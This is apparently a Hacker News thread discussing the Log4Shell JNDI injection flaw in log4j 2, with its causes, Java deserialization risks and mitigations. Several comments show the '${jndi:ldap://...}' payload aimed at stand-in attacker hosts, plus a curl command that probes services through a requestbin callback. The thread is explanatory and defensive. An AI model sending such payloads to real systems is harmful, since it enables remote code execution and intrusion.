„ Also, we can't be sure about whole scenario. There're reports that indicates this RCE is still possible in 2.15+ RCs builds, so there is a chance there are also other gateways to achieve the same effect.”
It depends on the repository settings. If you have write access (and note the person who opens the PR appears to be a member of Apache, so I'm assuming they have write access), the default settings in Github allow merging even without approval, or with requested changes. (I.e., the defaults are pretty lax; you have to enable the "requires approval to merge" stuff.)
Even if approval is required, anyone with admin access can override the lack of approval. (For that user, the merge button is a different color/state: it very clearly warns you when you exercise that right.) I don't think it's clear which is the case here.
(But also note that there is an approval, in addition to the "changes requested". So, even in the scenario that approval is required, the PR could be merged, technically, but it would require dismissing the requested changes in that case, which was not done here.)
Yes, more specifically after Java 8u191 you need to flag the client with:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.
If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.
This change is included in tag jdk8-b01, which was the first release build of Java 8.
I don't think this exploit as described actually works against a default-configured JVM released any time in the last decade. Is there actually an executable PoC which shows otherwise?
Now, it's true there are ways to exploit deserialisation without loading code. You need to find a class in the classpath that does something sketchy when deserialised. There has been a lot of work to clean up such things in recent years, but it's possible some still exist. Again, i would like to see a PoC.
> Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834).
It is still possible to RCE, but you won’t be able to achieve it using the proof of concept code. See the article for resources that describe alternative methods to exploit.
While the specific exploit may not be possible in 8u191 and later, I am not convinced they are safe from all RCEs using this vulnerability. It does make it harder to exploit, and hit or miss depending on what is available in the classpath.
It's not. Backwards compatibility however is which is why the fix maintains the functionality but makes it as safe as possible rather than ripping it out.
I’m with you, but if you’re maintaining a massively popular open source library, where backwards compatibility is expected, you’re not going to remove features without careful consideration. For an important bug fix, it probably does make more sense to just fix it without breaking anything first, then talk about a more careful deprecation/removal plan.
If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like ${jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deseria...
Mitigation seems to disable JNDI lookups. Wouldn’t it make more sense to disable parsing altogether? In what possible situation does anyone want their logging library to run eval(…) on arbitrary inputs?!
To see if there are injection points statically, I work on a tool (https://github.com/returntocorp/semgrep) that someone else already wrote a check with: https://twitter.com/lapt0r/status/1469096944047779845 or look for the mitigation with `semgrep -e '$LOGGER.formatMsgNoLookups(true)' --lang java`. For the mitigation, the string should be unique enough that just ripgrep works well too.
What I understood from that comment is that log4j 1.x is only vulnerable if you use the JMS Appender, which is probably not the most common configuration.
“Also, we can't be sure about whole scenario. There're reports that indicates this RCE is still possible in 2.15+ RCs builds, so there is a chance there are also other gateways to achieve the same effect.”
The twitter thread says something about serialized objects containing malicious code. I didn't realize Java had that. Can someone explain in more detail?
Java has the ability to serialize a class, send it over the network, and deserialize it back into a usable class. This mechanism is quite flexible, and allows the class itself to control some aspect of it's own serialization (such as code to run post-serialization, as a form of initialiation, somewhat similar to a constructor).
So if you load a class from an unknown source (such as this exploit's example), you are basically allowing RCE.
it's not any different from eval() tbh - the onus is on the programmer to not trust input. The problem is when libraries do unexpected things, like the log4j RCE.
Note that the class itself is not serialized. Only the instance of the class is serialized. The class itself is looked up by name in the running program. This is still a footgun because you can try to deserialize classes that weren't meant to be deserialized in this context, but it's a way smaller footgun than being able to just load arbitrary code into the program.
Java deserialization won't directly pull executable code from incoming bytes, but without deliberate countermeasures the deserialization runtime will happily try to create new instances of any class visible in the classpath configuration of the VM if the incoming bytes ask nicely. And many of the classes that might be present come with static code that will run once before the first class instance is created, setting up global state and the like. Others come with custom deserialization routines and when both appear together and interact with each other you get a surprisingly big space for possibile vulnerabilities to hide in. If memory serves me right, in the early days of Java deserializion vulnerabilities they usually involved some native code that was started by that mechanism. There used to be quite a lot of that, inherited from the days when Sun tried to create a multimedia powerhouse running on the inefficient JVM of the day
> This feature gives a false sense of security: nobody has ever done the necessary, extensive, code audit to prove that unpickling untrusted pickles cannot invoke unwanted code, and in fact bugs in the Python 2.2 pickle.py module make it easy to circumvent these security measures.
> We firmly believe that, on the Internet, it is better to know that you are using an insecure protocol than to trust a protocol to be secure whose implementation hasn't been thoroughly checked.
A few years ago, I think around 2016, there was a series of RCEs in many Java apps because they used the Java equivalent of pickle with the Java equivalent of "make pickle safe", which did not work.
Reminds me of the Java Applet exploit where you could combine system classes with overlapping method signatures in unexpected ways, to get the system to do untrusted things by itself without any user code. I bet __safe_for_unpickling__ has that problem.
In the Java case, it was something like: create a listbox on the screen, which contains a map entry, whose value is a java.beans.Expression object which calls a getter on some object which has side effects that allow an RCE. Because only system code is involved in the chain, Java's stack-based security model determined that this was some internal runtime code making the call, and allowed it. It doesn't make sense to put a security check on any individual step, until the final one which determined it was running in a system context, yet the overall effect was something that should not have been allowed was allowed.
The listbox innocently called toString() and what happened was RCE.
I bet in Python you could use the same concept and construct an object graph where some innocent method call ends up being an RCE. Find an object whose str() calls self.foo.toString(), find an object whose toString() calls self.bar.blah(), find an object whose blah() calls self.asdf.meh(), find an object whose meh() calls os.system(self.cmd). Now you deserialize this graph and RCE is triggered by somebody trying to log the graph.
I don't get what the point of this feature even is. What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged? And is this enabled out-of-the-box with log4j2?
I'm guessing some sort of auditing or routing functionality. For instance, you have debug logs going to some development server and login events going to so audit server.
I don't have experience with this feature but there's similar use cases in log shipping utilities like fluentd
Edit: I read the other link and it looks like some sort of poorly designed RPC functionality or something shrug
Reading about this got me to the words “servlet” and “BeanFactory”, which I don’t really want to uncover right now, as it might open some pandora’s box
> I don't get what the point of this feature even is.
This is basically the response to every type of vulnerability that is based on some spec nobody's read. Same deal with XML entity parsing. Why should it make web requests, FTP requests, etc.?
At some point someone had it as a requirement and everyone else gets to live with it.
Hahaha, giving you an upvote because new vulnerabilities have, in fact, been found. (And I think one of them relates to this new code not being sufficient? Though I'm not following much anymore.)
There are two bizarre design decisions that combined into this stunning security vulnerability: the automatic trust-the-world code execution (on by default) and the recursive parameter expansion (always on). They flipped the default on the former. They haven't done anything about the latter, AFAIK. I wonder if they will.
> What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged
I encountered a similar problem recently, my own logger can get the current container/pod IP address, it's painful to tell which host from the IPs in logs, so I had to do a manual DNS lookup to include a hostname instead. I was hoping the logger could automatically do a lookup and cache it for me.
Why didn't write logs to stdout and scrape container log files by fluentbit/promtail/etc? I'm working on logging infrastructure now and really want to know the reason behind this(before I built it...)
Pretty sure the original rationale for this clusterfuck must have been something similar: “we only have user id here, but want the logs to contain user name”. Send this requirement to the cheapest bidder and here we are.
So if you have a null pointer exception or something similar in production, you want to send that information to a remote host or alert system to be looked at urgently.
I might be missing something, but wouldn't the point be that it's not the log writer's responsibility to do this, but rather some other service that consumes the unparsed output and sends the notification?
I think 20 years ago it would have been slammed as overkill to have a separate process just to send logs.
Even now actually, there is a flurry of libs/gems to send events/logs/analytics to a remote server (Datadog, NewRelic, Slack…)from the application itself. It’s usually not directly coupled with the logger, but it’s not far.
Putting a feature in a logger to send logs remote is one thing. Putting a special syntax into the log message itself that gets parsed to decide where to send it is much weirder.
Exactly and this being enabled by default seems specially more unusual. I can understand config being parseable even though log configurer directly pulling a remote config is a stretch specially by default. But I don't think it's unlikely that people would by default assume that their log message would be parsed that way and as someone said it even works if that's used as a user input using {} instead of +.
syslog() has been around for a lot longer than 20 years, and that's a function that logs to a separate process. What's so bad about syslog that people need to invent new logging systems?
Encoding that in the log message itself still seems a bit crazy. I’m not familiar with log4j, but the .Net logging libraries I do know (NLog and Serilog) completely separate writing log events from processing (writing, sending, whatever) the events.
The problem here is the JNDI lookup because for historical reasons there is code in these providers which causes Java to deserialize and load bytecode if it's found in a result for a lookup against an LDAP server. That exploit was partially fixed in the JDK in 2008, then in 2018, but there are multiple naming providers that are affected.
Yes, it's enabled by default before 2.15.0, released today to mitigate this issue.
I don’t understand these Java protocols enough to understand why was loading arbitrary bytecode from URLs even considered a feature, but I guess it was the 90s and Objects were all the rage
A lot of libs for logging have similar convenient ways for getting usernames and so on. The error here seems to be that even though you use the lib correctly a bug was introduced that made the injected parameters a part of the layout, at least that is what people are claiming. The example from the article though is an incorrect use of the lib and one can expect the same type of issues in a lot of libs when dealing with input parameters.
LDAP is typically a behind-the-firewall protocol. At that point, in the "old school" mindset, it's considered a trusted service. Having features to automatically pick up stuff across your own network of boxes might be considered useful by many an admin.
Also, my understanding is that Java deserialization (or deserialization in general) wasn't intended to explicitly allow actual code execution, just reconstitution of an object's state from storage on disk, the network, etc. Sometimes the state of certain types of object can be repurposed to result in arbitrary code execution, but AFAIK that wasn't an anticipated outcome or design goal back in the 90s.
I believe the idea is that it lets you augment your log line with additional information to make it easier to read versus having to do the lookup at parse time.
Ok, I think we can change the URL to that from the submitted URL (https://github.com/apache/logging-log4j2/pull/608), which doesn't provide much (any?) context for understanding what's being fixed there.
Note that the formatMsgNoLookups workaround only applies to recent versions of the log4j library, while it's still unclear how far back this bug may stretch. Other options for patching are detailed in the thread: https://github.com/apache/logging-log4j2/pull/608#issuecomme... mentions that just removing the class providing the vulnerable behavior works well, and https://github.com/Glavo/log4j-patch is a JAR that you can add to your classpath to simply override the same class.
The 'formatMsgNoLookups' property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the 'formatMsgNoLookups=true' mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].
If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:
- Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application's or stack's classloading documentation to understand this behavior.
Confirming that this is correct: the {nolookups} option was added in v2.7 as a result of LOG4J2-905, so this mitigation is not available on versions prior to 2.7. Corroborating sources:
Checking on the viability of the classloading-based mitigations now across the versions. It seems that LOG4J-1051 was raised [6] to make the class instantiator more tolerant of missing classes, and the resulting changes were released in v2.4 and v2.7. Will check how earlier versions behave in this case.
Thank you for this super clear and concise write-up. Used it to write up these instructions for our users and customers to patch the vulnerability across their codebase and sharing here in case it's of use/interest to others: https://twitter.com/beyang/status/1469171471784329219.
Isn't it generally considered bad practice to log user controlled data (without some form of sanitization)? I think static analyzers tend to find these since they're a type of injection attack (an attacker could insert fake log lines or otherwise interfere with the log contents)
Yes, it's like a format string bug in C in that sense.
Most people don't take "log injection" that seriously as a bug class in Java. There are usually no consequences for ignoring it, so it's common. The RCE adds a lot of flavour to an otherwise bland bug.
Anyone remember printf exploits? Feels strange to still be happening in 2021. I remember accidentally finding a printf exploit in an online Nintendo DS game when I was a kid, not that I knew what I was doing but it was fun to have my name be a bunch of constantly changing random numbers using %e in my online name. Sounds like the minecraft kids are having a bunch of fun with this one now :)
Yeah! sudo had a pretty good one, anyone could gain root access via it, back in 2012 [1].
I love the irony here though - given how people using Java tend to think its unexploitable compared to C/C++ code. This is arguably way worse than a format string exploit. Even user sanitized data gives you full RCE. And via url headers/strings. This feels like a 1990s web era exploit, it's pretty insane.
No... not really. Actually the bad data is probably the data you most want to log. Kinda the point of logging. You do expect it to not screw up the logging system when bad data is logged. You expect to be able to log any random data (even if the log file formatting may get confusing in case of maliciously formatted data)
Thanks for the write-up but I have a few questions. Why does log4j's .log() method attempt to parse the strings sent to it? It is the last thing I would expect it to do. Is the part in the sample code where the user's input is output back to them part of the exploit? If so how does it fit into the attack? What will the attacker see beyond the string they originally sent as input?
Could you update your mitigation steps to explain how to set the "log4g.formatMsgNoLookups" config? It's not clear whether this is a property that goes into the log4j config or into the JVM args.
When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably).
It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place for this in there with:
"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."
... I'm guessing they must have broken this, or the exploit found a bypass for those? I'll do some digging and update the blog post if I find anything interesting.
What benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log?
I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them to exploit this bug as you are doing in your example code?
The question isn't about the purpose of the feature. The question is why it's implemented with string parsing.
In C, it's unsafe to do
printf(string_variable);
because variable will get parsed as a format string. The way to solve the vulnerability is
printf("%s", string_variable);
Is that the same in Java logging libraries? Is it well-known that the logged value will be parsed? What's the safe way to log a value in Java exactly, knowing that nothing will parse that value?
What gets parsed is a string that tells the server to make a request to another server. If you use a weird protocol for that, like jndi:ldap, you can then return a class which will be automatically loaded.
So the code injection happens as the response to the remote request. The part the logger plays is that you can initiate that remote request by having the logger log some special string.
1. Attacker-controlled data is being parsed as code (format code, not Java code). I'm not sure to what degree this is the logging library's fault vs programmer error passing attacker-controlled data as a format string. I know in Go, the standard libraries take care to help programmers avoid this problem by making sure to have the character "f" in the function name to indicate the function parameter is a format string. log.Print() takes data, log.Printf() takes a format string, log.Fatal() takes data, log.Fatalf() takes a format string.
2. The format string syntax contains significantly exploitable features if an attacker can control it. This is the same as in C, because in C, printf() contains exploitable features. This is not the case in Go, because the worst the attacker can do in Go is cause the formatting to be strange or the .String() or .Error() methods to be called on the other inputs.
Note that even without 2, 1 is still a correctness problem. If I want to log attacker-controlled data, I want it to display accurately. If the attacker's User-Agent header contains weird characters, I want those to be logged exactly, not inadvertently transformed into something strange by my library.
It's not the same in Java logging libraries. You can write `logger.info("a={}")` and it won't cause any issues. At least that was the case before I read about this misfeature. I still think that log4j did absolutely wrong thing, because there are billions of lines like `logger.info("a=" + a)` and nobody's going to rewrite those lines. Breaking trust in logging library doing sane thing is absolutely terrible approach. I'm going to stick to logback everywhere I can, hopefully they did not do those stupid things.
Safe way should be something like `logger.info("a={}", a)`. Of course nobody's preventing log4j to parse any argument in any way they like. And they actually do. So with log4j there's no safe way it seems.
You can try to use context in the logging messages, e.g. the ID of the entity you are currently processing (from the HTTP request), but which might for whatever reason not be available in the code (e.g. you don't want to drill it several methods deep)
As a possible solution you can set MDC variables at the higher level, they are bound to the current thread, and reference them in the format string, and unset them after processing the entity. It's not a great solution due to temporal coupling, and you typically print it outside of an individual logging statements (e.g. add it to all logging statements), but it definitely beats drilling dozens of methods with the diagnostic identifiers.
JNDI is an interface to many kinds of naming and directory services. One common-ish use case in enterprise software is to use it as a sort of internal directory inside an application. In particular, the prefix "java:comp/env" identifies a namespace which contains configuration for the current component (servlet or EJB). So it might be rather useful to do a lookup in that when writing log messages. For example, you could have some common utility method shared by multiple components that looks up the current component name and includes it in the log output, so you can tell which component was making a request to the utility method.
The easiest way to support this would just be to allow JNDI lookups from log strings. Unfortunately, that enables all sorts of lookups!
IMHO, the real bug here is that the LDAP JNDI provider will load class files from arbitrary untrusted sources. That is an obviously terrible idea, regardless of whether JNDI is being used from a logging string or somewhere else.
To my knowledge JNDI is a monitoring interface allowing you to get various system values like the number of threads, heap size, process ID, etc. Somehow it's capable of being connected to LDAP.
It sounds like a classic X-to-Y-to-Z problem. Someone connected X to Y thinking Y was pretty safe even with untrusted input, not knowing it would ever proxy to Z (probably, everything you can do with JNDI on a local machine is safe). Someone else connected Y to Z thinking that Y is only passed trusted values so the new proxy feature could only be triggered deliberately. And here we are. This class of bug should have a name but probably doesn't.
And another person didn't document well that log messages must be trusted input...
JNDI was the "Java Naming and Directory Interface", part of the suite of CORBA-like Java-only distributed object tooling.
My guess is that the "lookups" feature in log4j assumed that all URL protocols were "http:" or "https:" and didn't account for either the full set of built-in protocol handlers or the fact that an application can register additional protocol handlers.
"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."
Those config measures were put in place as part of the fix for this issue. I.e they didn't exist before the fix was released.
Fundamentally this is a format string attack. You're not supposed to do "log.info(user_supplied_stuff)", you're supposed to do "log.info("User sent: %s", user_supplied_stuff)".
I'm not the grandparent, but there's been a slew of deserialization-related vulnerabilities in Java and .NET libraries where user input is used to instantiate arbitrary classes and invoke methods on them.
I'm not sure that's related here? Jackson is a JSON and XML serialiser/deserialiser, and it has a bunch of ways to automatically serialise and deserialise things into objects, without being provided a template. This is where the danger lies, if you just let it do its thing it can be exploited as it will load classes that the input data asks for. There have been a number of RCEs about this in recent years
I'm not sure what that has to do with the performance of concurrenthashmap under heavy collisions... ?
If I understand correctly most of the query params or POST body JSON gets mapped to a hashmap via Jackson and then POJOs gets created which can actually be an attack vector in terms of collison.
OH fair enough, that's not the attack vector that I was referring to, which is a more simple "deserialise me to something that I can use to compromise you" message, but it's another interesting vector!
Java is uncannily good at repeatedly allowing code execution via data misinterpretation across the board. The way it does serialization makes it impossible to secure. Templating libraries have forever been an issue. Endless extensibility in-line with data is a curse.
The method that they're exploiting is akin to printf("whoops this is a format string"). The right way to handle user input in one of these is log.error("here's my user-provided input: {}", userInput) rather than log.error(userInput)
The string that is vulnerable is actually not meant to be user input, but a formatting string.
EDIT: nevermind, the issue apparently arises outside of formatting strings—though it would have been nice if the example had demonstrated this.
The issue occurs in incorrect logging code such as:
> logger.info("Data: " + data);
But the correct way of logging the above data is:
> logger.info("Data: {}", data);
It's analogous to using something like the following in C:
> printf(data);
In the incorrect cases (log4j or C), the user input is being used as a format string, and the user can likely cause an RCE. This is an issue in C for reasons that should be obvious. Java has historically been used very reflectively, so whenever there's some expression interpreter or deserialiser involved, there's a good chance it could be RCEd with arbitrary input.
It was a few months ago, but if I recall correctly, there were two overrides for info (and the other equivalent methods). info(String, String...) would do {} expansion like you mentioned, but info(String) would log the string directly, not doing format expansion on it.
I'm not sure how this interacts with the RCE issue reported here.
EDIT: That's because I was thinking of Slf4j, which has additional smarts here.
I'm not aware of that feature, but I guess it would mitigate this issue, since the problematic code:
> logger.info("Data: {}");
would effectively turn into something safe:
> logger.info("{}", "Data: {}");
And the issue would only arise if someone mixes the two patterns:
> logger.info("Data for " + username + ": {}", data);
Overall, I don't like the sound of that feature, since it blurs the line between correct and incorrect use of the logging API. The first argument should always be a constant formatting string.
Why though? It is not typical in Java to use format strings, unless you call String.format explicitly. It's not like C where printf-style APIs are common.
It should work one way or the other, not both. For current logging APIs, the format string is used. It actually turns out that the call using string concatenation corresponds to log4j1 rather than log4j2 (looks like this was an error in the post, though it's being fixed to use log4j2).
I guess aesthetically you could argue either way, but I think the main purpose of the formatting string method is that you can write:
> logger.trace("Updates: {}", longListOfUpdates);
and if trace logging is disabled (which can be done dynamically), it's not going to invoke `longListOfUpdates.toString()`, which is what happens when you perform string concatenation. If it didn't work that way, I suspect people would end up writing extra `logger.isTraceEnabled()` conditions around their logging code.
Why would you ever trust user provided input? Like seriously, ever?
I don't trust my own input. I tend to copy&paste, and I've messed up from pasting something that was previously in the clipboard because I didn't actually hit the right keyboard shortcut when I was copying the data I thought I was. I wasn't even attempting to be malicious, but I accidentally tried a SQL Inject attack on myself because of it.
Eh. I think it's pretty reasonable that people assume their logging library doesn't have random RCE, and I think it's pretty reasonable people aren't going to be able to filter every parameter based on Log4J having a relatively obscure bug.
think about the complexity involved in a modern backend. those log messages are flowing through logging libraries and a local syslog at an absolute minimum. more exotic setups involve consolidators, indexing/searching, user interfaces that may be controlled by any number of operators. moreover, those who use these tools typically have the keys to the kingdom for their respective environments.
I agree, but certain operations need to safely accept untrusted input if I'm going to handle input at all. Running a regex on user input doesn't mean I trust the input. It means I trust my regex engine. I should be able to trust my logger the same way.
In a properly designed system, it should be perfectly safe. The problems come from how the log input is processed. If all you're doing is appending it to a file or adding a row to a database table, that should be no problem.
In the database case it's no different to adding any other record supplied by the user. In the case of a file, consideration has to be given about what assumptions other tools that process that file may make - e.g. if they assume one record per line, then the data should be escaped appropriately (simple approach is to use JSON string escaping, or just make the whole log entry a JSON object).
If the logging system is built by someone who thought it was a good idea to parse the string, use the result to make network requests, and then executing arbitrary code based on the data received over the network, then all bets are off.
imagine you're using stackdriver: how many thousands or millions of lines of code will those log messages touch before they're rendered in browser for someone with sysadmin privileges? how many libraries are just in the web front end they're using?
moreover imagine debugging at any point in that pipeline. i've seen approaches where it's just sanitized at render... what happens when a dev dumps the database, hits it with a cli tool or peeks a queue?
> If all you're doing is appending it to a file or adding a row to a database table, that should be no problem.
AND escaping any control/unicode* characters. encodeURIComponent() if that's the best you have, but log files need to be safe against unsuspecting sysadmins viewing/grepping/catting these. and even NT4 had a blue screen bug you could trigger by TYPE-ing the wrong file in a console..
(*) well if you need to, whitelist some safe ranges, but there's scary stuff in unicode eg with the bi-directional escapes or zero width spaces to make viewing/grepping hard.
After having worked on software security for 20yrs+ I can tell you first hand that it is a long-term losing game. Libs, frameworks, and SDKs are written to provide functionality and interop. The more functionality/interop they have then the more popular they become and the more vulns they have.
The only winning move is not to code!
....OR learn to live in a state of constant vulns and put guardrails in place so that you can avoid shooting yourself in the foot as much as possible. In this case strict ngress/egress firewall rules in prod would prevent this from ever being exploited from what I've read on the vuln thus far.
Anyone know of a quick way to test this just to see if it will hit the URL without setting up any exploit server to actually send any code? I guess you'd need something that reports when the DNS name gets hit (like how a DNS leak test works) but I can't find any services to do that.
but when I run that in my terminal I get the response
;; Got SERVFAIL reply from 83.146.21.6, trying next server
Server: 212.158.248.6
Address: 212.158.248.6#53
** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL
And nothing shows up in "received data" on the website.
Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?
Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like
curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net
and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?
I'm not Requestbin's creator so I don't know. A simple nslookup or curl does work for me, with my system's DNS servers set to Cloudflare (1.1.1.1) or Google (8.8.8.8)
It looks like Vodafone (I assume this is your ISP) DNS servers aren't properly resolving the name for some reason. You could try bypassing it with dig, and directly ask a different DNS server to resolve it:
dig @1.1.1.1 A whatever.a54c4d391bad1b48ebc3.d.requestbin.net
I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again.
The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose.
I haven’t used log4j (or a JVM language) for several years but IIRC the most common usage was printf + agnostic but reliable output, commonly adapted to multiple SaaS solutions and usable in dev, and outputting formats that are searchable eg in Logstash. This is roughly the same as I’ve encountered on Node where I’ve also had to remind myself that it isn’t a simple printf -> stdout, even if it looks and feels like it is.
The complexity in logging libraries like this are much greater than they seem like they should be, specifically because they’re designed to abstract a lot of integration use cases in a way that feels like it just works. Marshaling data between even a few services introduces a lot of potential for mistakes.
Log4j configuration isn't free either. Ask anyone who has ever been woken up by an asinine log rotation bug. (The tailer broke, or the rotation didn't happen... again, etc)
Playing application log janitor is miserable. Just ship the logs and be done with it.
I mean if you write log rotation code yourself you will still be woken up by it.
I agree that log configuration is a pain in the butt and oftentimes messy (especially when some third party lib includes a line to basically wipe your global config and everything gets wonky), but it's not like the heavy value adds are easy and bug-free to write!
I agree, writing (and arguably configuring) robust logging libraries isn't much fun, and not easy to do yourself.
So, don't. Ship the logs as quickly and as simply to a system which is explicitly for log management.
The choice isn't between writing huge logging libraries or using log4j, it's whether you want an application to handle its own flat-file logging and rotation in the first place.
Java has always been obnoxiously complex to steer towards sane, basic, modern syslog, which I think is a shame.
Please not filebeat. For a few months I had this recurring problem where an app was logging way too much stuff. Filebeat dutifully accepted it and then created ghost files as a buffer which then filled up the disk and crashed the app.
Depending on the velocity at which the log barf was being produced, we sometimes had a short window in which we could manually (!) log in via SSH (!) and restart filebeat to force it to close the open file handles at the cost of losing everything being buffered locally (!).
Imo, the main point of a system like log4j or slf4j if the ability to have logging in your service up to the point of it being a massive performance impact - and keep it disabled.
For example, Hibernate has full query logging built in, but even if you filter locally with some logging demon, pushing 100 - 1k queries / second to stdout or a file is going to cripple performance.
With a logging framework like Log4J or SLF4J you can have this query logging, and you can enable it within 1 monitor run (usually 60s) at runtine and disable it 4-5 minutes later. This is very, very powerful in production.
Logs are streams, not files. To a first approximation, you should just log to standard out, and let another system take care of sending your output to either a file (with rotation) or logstash, or syslog, or a whatever else is appropriate. To a second approximation (if you’re already using stdout for something else), the thing you’re logging to should still be a file descriptor, but not a file per se. (perhaps a local socket to a logging system like syslog.)
I don’t need everything on my system that logs, to invent its own log output directory, and implement its own log rotation. That’s how you get a mishmash of different places where logs end up living, and they become very difficult to collate or compare, etc.
> Of course if you're simply sending lines to the terminal in a simple program you don't need log4j
That's the issue though isn't it, a lot of people don't need those features, just the prettifying and formatting, levels selectable by classpath and basic bits. log4j is great at these things and has become the standard for these things as much as anything else.
And with a lot of stuff being done by microservices, serverless functions etc, you have other pieces that pick up the logs and do all the smart processing. Especially 'at scale'.
So a capable but simple logging library is probably a good option. Perhaps log4j could split.
For containers that's especially true because the best practice is just to write to stdout/stderr. This sidesteps a whole host of issues related to dealing with log files.
Even when you log to just stdout/stderr there are many features and considerations that are a lot more complicated than just printf (custom format patterns with context, dynamically turning logs on/off in parts of application, performance, ...).
> The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level.
I... don't think this is true? When I was using it we used log rotation, log truncation, configurable output formatting that could be made consistent across the code or specialized in certain parts of the code base that required more detailed logging, masking credit card numbers and emails in log statements, and doing all of the logging async to not impact performance. And I'm sure there are features it has which I didn't mention.
You're better off learning the de-facto libraries of your language. Your employer, or any production application you're going to work on is probably going to use one of these libraries.
I learned the most common Java libraries when writing personal projects -- Lombok, log4j, Guava, Gson, Jackson, Netty, etc.
I had a significantly gentler learning curve at my first job. We used these common libraries, so I had a very easy time when I had to edit log filtering or fix log rotations of our applications.
Seems like you're disagreeing on the basis of personal development rather than whether it makes sense for any given project. I think at that point it depends on whether you're primarily coding to learn or to make software
You’re practically right,
But if your team isn't constantly changing then running your custom solution for at-least more simpler things like logging is better.
Because otherwise you have to depend on skills of a third party library maintainer you have no communication with or contract agreement with, to protect his/her codebase from getting security backdoors, which other malicious actors will constantly try to inject it with, if the library is known to be used by various large enterprises.
Coding with third party libraries is about trust, for simpler functions and packages its usually worth it long term to code it in-house. It’s easier to maintain, only comes with features you need and you’re always aware of what capabilities your code has.
I’m everyday impressed how relatively less npm with node, etc get hacked, considering they use additional third-party libraries for 4 liner functions too.
Plenty of "roll your own x"s have critical security bugs too, they just don't make the front page of HN. Do you really think, in general, roll your own is safer?
put in general terms, to minimize complexity, and to a lesser extent, increase control. I'm not saying it's always worth it to do that no matter what, but for smaller things like logging, if you don't have any hugely complex needs (i.e. it won't be much effort to maintain your own solution), I would personally always prefer an in-house solution. It's all a function of effort, of course.
java 5 - erm. java 1.4... and truth be told I'd prefer them over any other logging solution. Yet, java.util.logging has has quite a lot of vulnerabilities, itself.
avoid google libraries like the plague, there's absolutely no need for them unless you're using protobuf. I don't understand why people are using lombok after java 16. Jackson and log4j are sort of essential, unfortunately.
Log4j is not essential. There‘s slf4j as an abstraction layer and logback as native implementation for quite long time, supported by many libraries and frameworks.
For an enterprise to move to Java 16, a huge amount of code needs to be reviewed and tested. It's not as simple as incrementing a number in 200 pom.xml files.
Sure records are pretty cool but Lombok does do a few other things as well.
I think there's a tradeoff. Your implementation is also likely to have vulnerabilities you haven't caught, but it would be more obscure and maybe people wouldn't bother as much finding exploits for it. On the other hand, using a popular commonly used library, it will get tested for vulnerabilities a lot more thoroughly, reported and eventually patched, so it is possibly more hardened.
I don't think so. If you write your own implementation, you'll limit the scope of what you write to stuff you're actually going to use, which isn't going to include crazy stuff like what log4j turned out to have lurking inside it.
Even trivial things can have vulnerabilities. You can always substitute Criteria API in JPA with concatenation of SQL, but one missed check and you will get SQL injection.
I've always written my own loggers, doesn't even take more than an hour in C#-land. log4net is quite a beast so I avoid it. Serilog is pretty cool though, but in most cases I just roll my own. Other than that, .net core comes with its own loggers and logging abstractions, so half the time you don't have to write your own anymore, and if you do, its super pluggable.
Just a note of appreciation for this thread. One of the things we can get out of debacles like this is a reassessment of how we should design software, and what we should look for in software designed by others. Food for thought.
```
I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in log4j-core.)
Does anyone in here know what url schemes are valid for JNDI and/or this bug in particular? The example is LDAP but is that the only one JNDI supports? Would HTTPS or even data urls work?
says that LDAP, DNS, RMI Registry, and CORBA Name Service are included in Java, and others may be discovered at load time (but I bet they aren't because that's very niche).
